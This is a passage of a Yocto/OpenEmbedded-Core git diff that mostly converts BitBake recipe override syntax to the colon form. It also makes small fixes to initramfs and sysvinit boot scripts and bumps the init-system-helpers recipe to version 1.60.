+# Include only fast (< 30 sec) ptests
+IMAGE_INSTALL += "${PTESTS_FAST}"
+
+DESCRIPTION += "Also includes ptest packages with fast execution times to allow for more automated QA."
+HOMEPAGE = "https://www.yoctoproject.org/"
+
+# This image is sufficiently large (~1.8GB) that it can't actually fit in a live
+# image (which has a 4GB limit), so nullify the overhead factor (1.3x out of the
+# box) and explicitly add just 1500MB.
+# strace-ptest in particular needs more than 500MB
+IMAGE_OVERHEAD_FACTOR = "1.0"
+IMAGE_ROOTFS_EXTRA_SPACE = "1524288"
+
+# ptests need more memory than standard to avoid the OOM killer
+QB_MEM = "-m 1024"
+
+# Sadly at the moment the fast set of ptests is not robust enough and sporadically fails in a couple of places
+PTEST_EXPECT_FAILURE = "1"
diff --git a/meta/recipes-core/images/core-image-tiny-initramfs.bb b/meta/recipes-core/images/core-image-tiny-initramfs.bb
index 5849900742..47470849ed 100644
--- a/meta/recipes-core/images/core-image-tiny-initramfs.bb
+++ b/meta/recipes-core/images/core-image-tiny-initramfs.bb
@@ -27,7 +27,7 @@ IMAGE_ROOTFS_SIZE = "8192"
IMAGE_ROOTFS_EXTRA_SPACE = "0"
# Use the same restriction as initramfs-live-install
-COMPATIBLE_HOST = "(i.86|x86_64).*-linux"
+COMPATIBLE_HOST = "(i.86|x86_64|aarch64).*-linux"
python tinyinitrd () {
# Modify our init file so the user knows we drop to shell prompt on purpose
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown_1.0.bb b/meta/recipes-core/init-ifupdown/init-ifupdown_1.0.bb
index b6fc8a4d41..741da324d0 100644
--- a/meta/recipes-core/init-ifupdown/init-ifupdown_1.0.bb
+++ b/meta/recipes-core/init-ifupdown/init-ifupdown_1.0.bb
@@ -29,13 +29,13 @@ do_install () {
install -m 0755 ${WORKDIR}/nfsroot ${D}${sysconfdir}/network/if-pre-up.d
}
-do_install_append_qemuall () {
+do_install:append:qemuall () {
# Disable network manager on machines that commonly do NFS booting
touch ${D}${sysconfdir}/network/nm-disabled-eth0
}
PACKAGE_ARCH = "${MACHINE_ARCH}"
-RDEPENDS_${PN} = "netbase"
-RCONFLICTS_${PN} = "netbase (< 1:5.0)"
+RDEPENDS:${PN} = "netbase"
+RCONFLICTS:${PN} = "netbase (< 1:5.0)"
-CONFFILES_${PN} = "${sysconfdir}/network/interfaces"
+CONFFILES:${PN} = "${sysconfdir}/network/interfaces"
diff --git a/meta/recipes-core/initrdscripts/files/init-install-efi.sh b/meta/recipes-core/initrdscripts/files/init-install-efi.sh
index b6855b5aac..f667518b89 100644
--- a/meta/recipes-core/initrdscripts/files/init-install-efi.sh
+++ b/meta/recipes-core/initrdscripts/files/init-install-efi.sh
@@ -279,6 +279,11 @@ fi
umount /tgt_root
+# copy any extra files needed for ESP
+if [ -d /run/media/$1/esp ]; then
+ cp -r /run/media/$1/esp/* /boot
+fi
+
# Copy kernel artifacts. To add more artifacts just add to types
# For now just support kernel types already being used by something in OE-core
for types in bzImage zImage vmlinux vmlinuz fitImage; do
diff --git a/meta/recipes-core/initrdscripts/initramfs-boot_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-boot_1.0.bb
index 29ec5ec2ff..ab460ac797 100644
--- a/meta/recipes-core/initrdscripts/initramfs-boot_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-boot_1.0.bb
@@ -18,4 +18,4 @@ do_install() {
inherit allarch
-FILES_${PN} += "/init /dev/console"
+FILES:${PN} += "/init /dev/console"
diff --git a/meta/recipes-core/initrdscripts/initramfs-framework/rootfs b/meta/recipes-core/initrdscripts/initramfs-framework/rootfs
index ee24e82af3..e0efbe6ebe 100644
--- a/meta/recipes-core/initrdscripts/initramfs-framework/rootfs
+++ b/meta/recipes-core/initrdscripts/initramfs-framework/rootfs
@@ -24,24 +24,13 @@ rootfs_run() {
if [ "`echo ${bootparam_root} | cut -c1-5`" = "UUID=" ]; then
root_uuid=`echo $bootparam_root | cut -c6-`
bootparam_root="/dev/disk/by-uuid/$root_uuid"
- fi
-
- if [ "`echo ${bootparam_root} | cut -c1-9`" = "PARTUUID=" ]; then
+ elif [ "`echo ${bootparam_root} | cut -c1-9`" = "PARTUUID=" ]; then
root_partuuid=`echo $bootparam_root | cut -c10-`
bootparam_root="/dev/disk/by-partuuid/$root_partuuid"
- fi
-
- if [ "`echo ${bootparam_root} | cut -c1-10`" = "PARTLABEL=" ]; then
- root_partlabel=`echo $bootparam_root | cut -c11-`
- bootparam_root="/dev/disk/by-partlabel/$root_partlabel"
- fi
-
- if [ "`echo ${bootparam_root} | cut -c1-10`" = "PARTLABEL=" ]; then
+ elif [ "`echo ${bootparam_root} | cut -c1-10`" = "PARTLABEL=" ]; then
root_partlabel=`echo $bootparam_root | cut -c11-`
bootparam_root="/dev/disk/by-partlabel/$root_partlabel"
- fi
-
- if [ "`echo ${bootparam_root} | cut -c1-6`" = "LABEL=" ]; then
+ elif [ "`echo ${bootparam_root} | cut -c1-6`" = "LABEL=" ]; then
root_label=`echo $bootparam_root | cut -c7-`
bootparam_root="/dev/disk/by-label/$root_label"
fi
@@ -67,8 +56,8 @@ rootfs_run() {
# It is unlikely to change, but keep trying anyway.
# Perhaps we pick a different device next time.
umount $ROOTFS_DIR
- fi
fi
+ fi
fi
debug "Sleeping for $delay second(s) to wait root to settle..."
sleep $delay
diff --git a/meta/recipes-core/initrdscripts/initramfs-framework/setup-live b/meta/recipes-core/initrdscripts/initramfs-framework/setup-live
index 4c79f41285..7e92f93322 100644
--- a/meta/recipes-core/initrdscripts/initramfs-framework/setup-live
+++ b/meta/recipes-core/initrdscripts/initramfs-framework/setup-live
@@ -1,4 +1,4 @@
-#/bin/sh
+#!/bin/sh
# Copyright (C) 2011 O.S. Systems Software LTDA.
# Licensed on MIT
diff --git a/meta/recipes-core/initrdscripts/initramfs-framework_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-framework_1.0.bb
index c53a0c03ae..9e8c1dc3ab 100644
--- a/meta/recipes-core/initrdscripts/initramfs-framework_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-framework_1.0.bb
@@ -1,8 +1,8 @@
SUMMARY = "Modular initramfs system"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
-RDEPENDS_${PN} += "${VIRTUAL-RUNTIME_base-utils}"
-RRECOMMENDS_${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
+RDEPENDS:${PN} += "${VIRTUAL-RUNTIME_base-utils}"
+RRECOMMENDS:${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
PR = "r4"
@@ -31,7 +31,7 @@ do_install() {
install -m 0755 ${WORKDIR}/rootfs ${D}/init.d/90-rootfs
install -m 0755 ${WORKDIR}/finish ${D}/init.d/99-finish
- # exec
+ # exec
install -m 0755 ${WORKDIR}/exec ${D}/init.d/89-exec
# mdev
@@ -66,7 +66,7 @@ PACKAGES = "${PN}-base \
initramfs-module-lvm \
"
-FILES_${PN}-base = "/init /init.d/99-finish /dev"
+FILES:${PN}-base = "/init /init.d/99-finish /dev"
# 99-finish in base depends on some other module which mounts
# the rootfs, like 90-rootfs. To replace that default, use
@@ -74,36 +74,36 @@ FILES_${PN}-base = "/init /init.d/99-finish /dev"
# initramfs recipe and install something else, or install
# something that runs earlier (for example, a 89-my-rootfs)
# and mounts the rootfs. Then 90-rootfs will proceed immediately.
-RRECOMMENDS_${PN}-base += "initramfs-module-rootfs"
+RRECOMMENDS:${PN}-base += "initramfs-module-rootfs"
-SUMMARY_initramfs-module-exec = "initramfs support for easy execution of applications"
-RDEPENDS_initramfs-module-exec = "${PN}-base"
-FILES_initramfs-module-exec = "/init.d/89-exec"
+SUMMARY:initramfs-module-exec = "initramfs support for easy execution of applications"
+RDEPENDS:initramfs-module-exec = "${PN}-base"
+FILES:initramfs-module-exec = "/init.d/89-exec"
-SUMMARY_initramfs-module-mdev = "initramfs support for mdev"
-RDEPENDS_initramfs-module-mdev = "${PN}-base busybox-mdev"
-FILES_initramfs-module-mdev = "/init.d/01-mdev"
+SUMMARY:initramfs-module-mdev = "initramfs support for mdev"
+RDEPENDS:initramfs-module-mdev = "${PN}-base busybox-mdev"
+FILES:initramfs-module-mdev = "/init.d/01-mdev"
-SUMMARY_initramfs-module-udev = "initramfs support for udev"
-RDEPENDS_initramfs-module-udev = "${PN}-base udev"
-FILES_initramfs-module-udev = "/init.d/01-udev"
+SUMMARY:initramfs-module-udev = "initramfs support for udev"
+RDEPENDS:initramfs-module-udev = "${PN}-base udev"
+FILES:initramfs-module-udev = "/init.d/01-udev"
-SUMMARY_initramfs-module-e2fs = "initramfs support for ext4/ext3/ext2 filesystems"
-RDEPENDS_initramfs-module-e2fs = "${PN}-base"
-FILES_initramfs-module-e2fs = "/init.d/10-e2fs"
+SUMMARY:initramfs-module-e2fs = "initramfs support for ext4/ext3/ext2 filesystems"
+RDEPENDS:initramfs-module-e2fs = "${PN}-base"
+FILES:initramfs-module-e2fs = "/init.d/10-e2fs"
-SUMMARY_initramfs-module-nfsrootfs = "initramfs support for locating and mounting the root partition via nfs"
-RDEPENDS_initramfs-module-nfsrootfs = "${PN}-base"
-FILES_initramfs-module-nfsrootfs = "/init.d/85-nfsrootfs"
+SUMMARY:initramfs-module-nfsrootfs = "initramfs support for locating and mounting the root partition via nfs"
+RDEPENDS:initramfs-module-nfsrootfs = "${PN}-base"
+FILES:initramfs-module-nfsrootfs = "/init.d/85-nfsrootfs"
-SUMMARY_initramfs-module-rootfs = "initramfs support for locating and mounting the root partition"
-RDEPENDS_initramfs-module-rootfs = "${PN}-base"
-FILES_initramfs-module-rootfs = "/init.d/90-rootfs"
+SUMMARY:initramfs-module-rootfs = "initramfs support for locating and mounting the root partition"
+RDEPENDS:initramfs-module-rootfs = "${PN}-base"
+FILES:initramfs-module-rootfs = "/init.d/90-rootfs"
-SUMMARY_initramfs-module-debug = "initramfs dynamic debug support"
-RDEPENDS_initramfs-module-debug = "${PN}-base"
-FILES_initramfs-module-debug = "/init.d/00-debug"
+SUMMARY:initramfs-module-debug = "initramfs dynamic debug support"
+RDEPENDS:initramfs-module-debug = "${PN}-base"
+FILES:initramfs-module-debug = "/init.d/00-debug"
-SUMMARY_initramfs-module-lvm = "initramfs lvm rootfs support"
-RDEPENDS_initramfs-module-lvm = "${PN}-base"
-FILES_initramfs-module-lvm = "/init.d/09-lvm"
+SUMMARY:initramfs-module-lvm = "initramfs lvm rootfs support"
+RDEPENDS:initramfs-module-lvm = "${PN}-base"
+FILES:initramfs-module-lvm = "/init.d/09-lvm"
diff --git a/meta/recipes-core/initrdscripts/initramfs-live-boot-tiny_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-live-boot-tiny_1.0.bb
index 7a9a8ecae2..59a530506a 100644
--- a/meta/recipes-core/initrdscripts/initramfs-live-boot-tiny_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-live-boot-tiny_1.0.bb
@@ -2,7 +2,7 @@ SUMMARY = "Live image init script"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
DEPENDS = "virtual/kernel"
-RDEPENDS_${PN} = "busybox-mdev"
+RDEPENDS:${PN} = "busybox-mdev"
SRC_URI = "file://init-live.sh"
PR = "r12"
@@ -15,7 +15,7 @@ do_install() {
mknod -m 622 ${D}/dev/console c 5 1
}
-FILES_${PN} += " /init /dev "
+FILES:${PN} += " /init /dev "
# Due to kernel dependency
PACKAGE_ARCH = "${MACHINE_ARCH}"
diff --git a/meta/recipes-core/initrdscripts/initramfs-live-boot_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-live-boot_1.0.bb
index 57b30254a6..8f56d7ab90 100644
--- a/meta/recipes-core/initrdscripts/initramfs-live-boot_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-live-boot_1.0.bb
@@ -2,7 +2,7 @@ SUMMARY = "Live image init script"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
DEPENDS = "virtual/kernel"
-RDEPENDS_${PN} = "udev udev-extraconf"
+RDEPENDS:${PN} = "udev udev-extraconf"
SRC_URI = "file://init-live.sh"
PR = "r12"
@@ -15,7 +15,7 @@ do_install() {
mknod -m 622 ${D}/dev/console c 5 1
}
-FILES_${PN} += " /init /dev "
+FILES:${PN} += " /init /dev "
# Due to kernel dependency
PACKAGE_ARCH = "${MACHINE_ARCH}"
diff --git a/meta/recipes-core/initrdscripts/initramfs-live-install-efi-testfs_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-live-install-efi-testfs_1.0.bb
index c03bd2d765..495eccbeda 100644
--- a/meta/recipes-core/initrdscripts/initramfs-live-install-efi-testfs_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-live-install-efi-testfs_1.0.bb
@@ -3,7 +3,7 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
SRC_URI = "file://init-install-efi-testfs.sh"
-RDEPENDS_${PN} = "parted e2fsprogs-mke2fs dosfstools"
+RDEPENDS:${PN} = "parted e2fsprogs-mke2fs dosfstools"
S = "${WORKDIR}"
@@ -12,5 +12,5 @@ do_install() {
}
INHIBIT_DEFAULT_DEPS = "1"
-FILES_${PN} = " /install-efi.sh "
+FILES:${PN} = " /install-efi.sh "
COMPATIBLE_HOST = "(i.86|x86_64).*-linux"
diff --git a/meta/recipes-core/initrdscripts/initramfs-live-install-efi_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-live-install-efi_1.0.bb
index cc842ae8b7..ecbd567d6c 100644
--- a/meta/recipes-core/initrdscripts/initramfs-live-install-efi_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-live-install-efi_1.0.bb
@@ -5,8 +5,8 @@ SRC_URI = "file://init-install-efi.sh"
PR = "r1"
-RDEPENDS_${PN} = "parted e2fsprogs-mke2fs dosfstools util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
-RRECOMMENDS_${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
+RDEPENDS:${PN} = "parted e2fsprogs-mke2fs dosfstools util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
+RRECOMMENDS:${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
S = "${WORKDIR}"
@@ -20,6 +20,6 @@ do_install() {
#inherit allarch
INHIBIT_DEFAULT_DEPS = "1"
-FILES_${PN} = " /install-efi.sh "
+FILES:${PN} = " /install-efi.sh "
COMPATIBLE_HOST = "(i.86.*|x86_64.*|aarch64.*)-linux"
diff --git a/meta/recipes-core/initrdscripts/initramfs-live-install-testfs_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-live-install-testfs_1.0.bb
index 937bfd4d38..d347e323b3 100644
--- a/meta/recipes-core/initrdscripts/initramfs-live-install-testfs_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-live-install-testfs_1.0.bb
@@ -3,7 +3,7 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
SRC_URI = "file://init-install-testfs.sh"
-RDEPENDS_${PN} = "grub parted e2fsprogs-mke2fs"
+RDEPENDS:${PN} = "grub parted e2fsprogs-mke2fs"
S = "${WORKDIR}"
@@ -12,5 +12,5 @@ do_install() {
}
INHIBIT_DEFAULT_DEPS = "1"
-FILES_${PN} = " /install.sh "
+FILES:${PN} = " /install.sh "
COMPATIBLE_HOST = "(i.86|x86_64).*-linux"
diff --git a/meta/recipes-core/initrdscripts/initramfs-live-install_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-live-install_1.0.bb
index 48fc0c4a76..674d49ecdf 100644
--- a/meta/recipes-core/initrdscripts/initramfs-live-install_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-live-install_1.0.bb
@@ -7,8 +7,8 @@ PR = "r9"
S = "${WORKDIR}"
-RDEPENDS_${PN} = "grub parted e2fsprogs-mke2fs util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
-RRECOMMENDS_${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
+RDEPENDS:${PN} = "grub parted e2fsprogs-mke2fs util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
+RRECOMMENDS:${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
do_install() {
install -m 0755 ${WORKDIR}/init-install.sh ${D}/install.sh
@@ -20,6 +20,6 @@ do_install() {
#inherit allarch
INHIBIT_DEFAULT_DEPS = "1"
-FILES_${PN} = " /install.sh "
+FILES:${PN} = " /install.sh "
COMPATIBLE_HOST = "(i.86.*|x86_64.*|aarch64.*)-linux"
diff --git a/meta/recipes-core/initrdscripts/initramfs-module-install-efi_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-module-install-efi_1.0.bb
index 523138cff3..fb19484555 100644
--- a/meta/recipes-core/initrdscripts/initramfs-module-install-efi_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-module-install-efi_1.0.bb
@@ -1,8 +1,8 @@
SUMMARY = "initramfs-framework module for EFI installation option"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
-RDEPENDS_${PN} = "initramfs-framework-base parted e2fsprogs-mke2fs dosfstools util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
-RRECOMMENDS_${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
+RDEPENDS:${PN} = "initramfs-framework-base parted e2fsprogs-mke2fs dosfstools util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
+RRECOMMENDS:${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
PR = "r4"
@@ -15,4 +15,4 @@ do_install() {
install -m 0755 ${WORKDIR}/init-install-efi.sh ${D}/init.d/install-efi.sh
}
-FILES_${PN} = "/init.d/install-efi.sh"
+FILES:${PN} = "/init.d/install-efi.sh"
diff --git a/meta/recipes-core/initrdscripts/initramfs-module-install_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-module-install_1.0.bb
index 56898e824f..4d48d54e9e 100644
--- a/meta/recipes-core/initrdscripts/initramfs-module-install_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-module-install_1.0.bb
@@ -1,13 +1,13 @@
SUMMARY = "initramfs-framework module for installation option"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
-RDEPENDS_${PN} = "initramfs-framework-base grub parted e2fsprogs-mke2fs util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
-RRECOMMENDS_${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
+RDEPENDS:${PN} = "initramfs-framework-base grub parted e2fsprogs-mke2fs util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
+RRECOMMENDS:${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
# The same restriction as grub
COMPATIBLE_HOST = '(x86_64.*|i.86.*|arm.*|aarch64.*)-(linux.*|freebsd.*)'
-COMPATIBLE_HOST_armv7a = 'null'
-COMPATIBLE_HOST_armv7ve = 'null'
+COMPATIBLE_HOST:armv7a = 'null'
+COMPATIBLE_HOST:armv7ve = 'null'
PR = "r1"
@@ -20,4 +20,4 @@ do_install() {
install -m 0755 ${WORKDIR}/init-install.sh ${D}/init.d/install.sh
}
-FILES_${PN} = "/init.d/install.sh"
+FILES:${PN} = "/init.d/install.sh"
diff --git a/meta/recipes-core/initrdscripts/initramfs-module-setup-live_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-module-setup-live_1.0.bb
index 4d2fe9dd2b..d8ce024b83 100644
--- a/meta/recipes-core/initrdscripts/initramfs-module-setup-live_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-module-setup-live_1.0.bb
@@ -1,13 +1,13 @@
SUMMARY = "initramfs-framework module for live booting"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
-RDEPENDS_${PN} = "initramfs-framework-base udev-extraconf"
+RDEPENDS:${PN} = "initramfs-framework-base udev-extraconf"
PR = "r4"
inherit allarch
-FILESEXTRAPATHS_prepend := "${THISDIR}/initramfs-framework:"
+FILESEXTRAPATHS:prepend := "${THISDIR}/initramfs-framework:"
SRC_URI = "file://setup-live"
S = "${WORKDIR}"
@@ -17,4 +17,4 @@ do_install() {
install -m 0755 ${WORKDIR}/setup-live ${D}/init.d/80-setup-live
}
-FILES_${PN} = "/init.d/80-setup-live"
+FILES:${PN} = "/init.d/80-setup-live"
diff --git a/meta/recipes-core/initscripts/init-system-helpers_1.58.bb b/meta/recipes-core/initscripts/init-system-helpers_1.58.bb
deleted file mode 100644
index b591f412c6..0000000000
--- a/meta/recipes-core/initscripts/init-system-helpers_1.58.bb
+++ /dev/null
@@ -1,41 +0,0 @@
-SUMMARY = "helper tools for all init systems"
-DESCRIPTION = "This package contains helper tools that are necessary for switching between \
-the various init systems that Debian contains (e. g. sysvinit or \
-systemd). An example is deb-systemd-helper, a script that enables systemd unit \
-files without depending on a running systemd. \
-\
-It also includes the \"service\", \"invoke-rc.d\", and \"update-rc.d\" scripts which \
-provide an abstraction for enabling, disabling, starting, and stopping \
-services for all supported Debian init systems as specified by the policy. \
-\
-While this package is maintained by pkg-systemd-maintainers, it is NOT \
-specific to systemd at all. Maintainers of other init systems are welcome to \
-include their helpers in this package."
-HOMEPAGE = "https://salsa.debian.org/debian/init-system-helpers"
-SECTION = "base"
-LICENSE = "BSD-3-Clause & GPLv2"
-LIC_FILES_CHKSUM = "file://debian/copyright;md5=ee2b1830fcfead84d07bc060ec43e072"
-
-SRCREV = "6a1860c6f5ad295af605ddf588933544e7c24ce1"
-SRC_URI = "git://salsa.debian.org/debian/init-system-helpers.git;protocol=https"
-
-S = "${WORKDIR}/git"
-
-do_configure[noexec] = "1"
-do_compile[noexec] = "1"
-
-do_install() {
- install -d -m 0755 ${D}${sbindir}
- install -m 0755 ${S}/script/invoke-rc.d ${D}${sbindir}
- install -m 0755 ${S}/script/service ${D}${sbindir}
-}
-
-PACKAGES += "${PN}-invoke-rc.d ${PN}-service"
-
-FILES_${PN} = ""
-FILES_${PN}-invoke-rc.d = "${sbindir}/invoke-rc.d"
-FILES_${PN}-service = "${sbindir}/service"
-
-ALLOW_EMPTY_${PN} = "1"
-
-RRECOMMENDS_${PN} += "${PN}-invoke-rc.d ${PN}-service"
diff --git a/meta/recipes-core/initscripts/init-system-helpers_1.60.bb b/meta/recipes-core/initscripts/init-system-helpers_1.60.bb
new file mode 100644
index 0000000000..46952e4685
--- /dev/null
+++ b/meta/recipes-core/initscripts/init-system-helpers_1.60.bb
@@ -0,0 +1,41 @@
+SUMMARY = "helper tools for all init systems"
+DESCRIPTION = "This package contains helper tools that are necessary for switching between \
+the various init systems that Debian contains (e. g. sysvinit or \
+systemd). An example is deb-systemd-helper, a script that enables systemd unit \
+files without depending on a running systemd. \
+\
+It also includes the \"service\", \"invoke-rc.d\", and \"update-rc.d\" scripts which \
+provide an abstraction for enabling, disabling, starting, and stopping \
+services for all supported Debian init systems as specified by the policy. \
+\
+While this package is maintained by pkg-systemd-maintainers, it is NOT \
+specific to systemd at all. Maintainers of other init systems are welcome to \
+include their helpers in this package."
+HOMEPAGE = "https://salsa.debian.org/debian/init-system-helpers"
+SECTION = "base"
+LICENSE = "BSD-3-Clause & GPLv2"
+LIC_FILES_CHKSUM = "file://debian/copyright;md5=ee2b1830fcfead84d07bc060ec43e072"
+
+SRCREV = "dbd9197569c0935029acd5c9b02b84c68fd937ee"
+SRC_URI = "git://salsa.debian.org/debian/init-system-helpers.git;protocol=https;branch=master"
+
+S = "${WORKDIR}/git"
+
+do_configure[noexec] = "1"
+do_compile[noexec] = "1"
+
+do_install() {
+ install -d -m 0755 ${D}${sbindir}
+ install -m 0755 ${S}/script/invoke-rc.d ${D}${sbindir}
+ install -m 0755 ${S}/script/service ${D}${sbindir}
+}
+
+PACKAGES += "${PN}-invoke-rc.d ${PN}-service"
+
+FILES:${PN} = ""
+FILES:${PN}-invoke-rc.d = "${sbindir}/invoke-rc.d"
+FILES:${PN}-service = "${sbindir}/service"
+
+ALLOW_EMPTY:${PN} = "1"
+
+RRECOMMENDS:${PN} += "${PN}-invoke-rc.d ${PN}-service"
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/checkroot.sh b/meta/recipes-core/initscripts/initscripts-1.0/checkroot.sh
index 02f0351fcb..a63e71b780 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/checkroot.sh
+++ b/meta/recipes-core/initscripts/initscripts-1.0/checkroot.sh
@@ -74,7 +74,7 @@ test "$VERBOSE" != no && echo "Activating swap"
#
# Check the root filesystem.
#
-if test -f /fastboot || test $rootcheck = no
+if test -f /fastboot || test "$rootcheck" = "no"
then
test $rootcheck = yes && echo "Fast boot, no filesystem check"
else
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/mountall.sh b/meta/recipes-core/initscripts/initscripts-1.0/mountall.sh
index c719be5d9a..2839d57cbe 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/mountall.sh
+++ b/meta/recipes-core/initscripts/initscripts-1.0/mountall.sh
@@ -19,15 +19,21 @@
test "$VERBOSE" != no && echo "Mounting local filesystems..."
mount -at nonfs,nosmbfs,noncpfs 2>/dev/null
-#
-# We might have mounted something over /dev, see if /dev/initctl is there.
-#
-if test ! -p /dev/initctl
-then
- rm -f /dev/initctl
- mknod -m 600 /dev/initctl p
+
+# We might have mounted something over /run; see if
+# /dev/initctl is present. Look for
+# /sbin/init.sysvinit to verify that sysvinit (and
+# not busybox or systemd) is installed as default init).
+INITCTL="/dev/initctl"
+if [ ! -p "$INITCTL" ] && [ "${INIT_SYSTEM}" = "sysvinit" ]; then
+ # Create new control channel
+ rm -f "$INITCTL"
+ mknod -m 600 "$INITCTL" p
+
+ # Reopen control channel.
+ PID="$(pidof -s /sbin/init || echo 1)"
+ [ -n "$PID" ] && kill -s USR1 "$PID"
fi
-kill -USR1 1
#
# Execute swapon command again, in case we want to swap to
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/populate-volatile.sh b/meta/recipes-core/initscripts/initscripts-1.0/populate-volatile.sh
index f21f48dd30..b56b72f833 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/populate-volatile.sh
+++ b/meta/recipes-core/initscripts/initscripts-1.0/populate-volatile.sh
@@ -37,8 +37,8 @@ create_file() {
fi
EXEC="
${EXEC}
- chown ${TUSER}:${TGROUP} $1 || echo \"Failed to set owner -${TUSER}- for -$1-.\" >/dev/tty0 2>&1;
- chmod ${TMODE} $1 || echo \"Failed to set mode -${TMODE}- for -$1-.\" >/dev/tty0 2>&1 "
+ chown ${TUSER}:${TGROUP} $1 || echo \"Failed to set owner -${TUSER}- for -$1-.\";
+ chmod ${TMODE} $1 || echo \"Failed to set mode -${TMODE}- for -$1-.\" "
test "$VOLATILE_ENABLE_CACHE" = yes && echo "$EXEC" >> /etc/volatile.cache.build
@@ -60,8 +60,8 @@ create_file() {
mk_dir() {
EXEC="
mkdir -p \"$1\";
- chown ${TUSER}:${TGROUP} $1 || echo \"Failed to set owner -${TUSER}- for -$1-.\" >/dev/tty0 2>&1;
- chmod ${TMODE} $1 || echo \"Failed to set mode -${TMODE}- for -$1-.\" >/dev/tty0 2>&1 "
+ chown ${TUSER}:${TGROUP} $1 || echo \"Failed to set owner -${TUSER}- for -$1-.\";
+ chmod ${TMODE} $1 || echo \"Failed to set mode -${TMODE}- for -$1-.\" "
test "$VOLATILE_ENABLE_CACHE" = yes && echo "$EXEC" >> /etc/volatile.cache.build
if [ -e "$1" ]; then
@@ -201,7 +201,7 @@ apply_cfgfile() {
"f") [ "${VERBOSE}" != "no" ] && echo "Creating file -${TNAME}-."
TSOURCE="$TLTARGET"
[ "${TSOURCE}" = "none" ] && TSOURCE=""
- create_file "${TNAME}" "${TSOURCE}" &
+ create_file "${TNAME}" "${TSOURCE}"
;;
"d") [ "${VERBOSE}" != "no" ] && echo "Creating directory -${TNAME}-."
mk_dir "${TNAME}"
diff --git a/meta/recipes-core/initscripts/initscripts_1.0.bb b/meta/recipes-core/initscripts/initscripts_1.0.bb
index 32c527799e..e4c4813220 100644
--- a/meta/recipes-core/initscripts/initscripts_1.0.bb
+++ b/meta/recipes-core/initscripts/initscripts_1.0.bb
@@ -39,25 +39,25 @@ SRC_URI = "file://functions \
S = "${WORKDIR}"
-SRC_URI_append_arm = " file://alignment.sh"
-SRC_URI_append_armeb = " file://alignment.sh"
+SRC_URI:append:arm = " file://alignment.sh"
+SRC_URI:append:armeb = " file://alignment.sh"
KERNEL_VERSION = ""
-DEPENDS_append = " update-rc.d-native"
-PACKAGE_WRITE_DEPS_append = " ${@bb.utils.contains('DISTRO_FEATURES','systemd','systemd-systemctl-native','',d)}"
+DEPENDS:append = " update-rc.d-native"
+PACKAGE_WRITE_DEPS:append = " ${@bb.utils.contains('DISTRO_FEATURES','systemd','systemd-systemctl-native','',d)}"
PACKAGES =+ "${PN}-functions ${PN}-sushell"
-RDEPENDS_${PN} = "initd-functions \
+RDEPENDS:${PN} = "initd-functions \
${@bb.utils.contains('DISTRO_FEATURES','selinux','${PN}-sushell','',d)} \
init-system-helpers-service \
"
# Recommend pn-functions so that it will be a preferred default provider for initd-functions
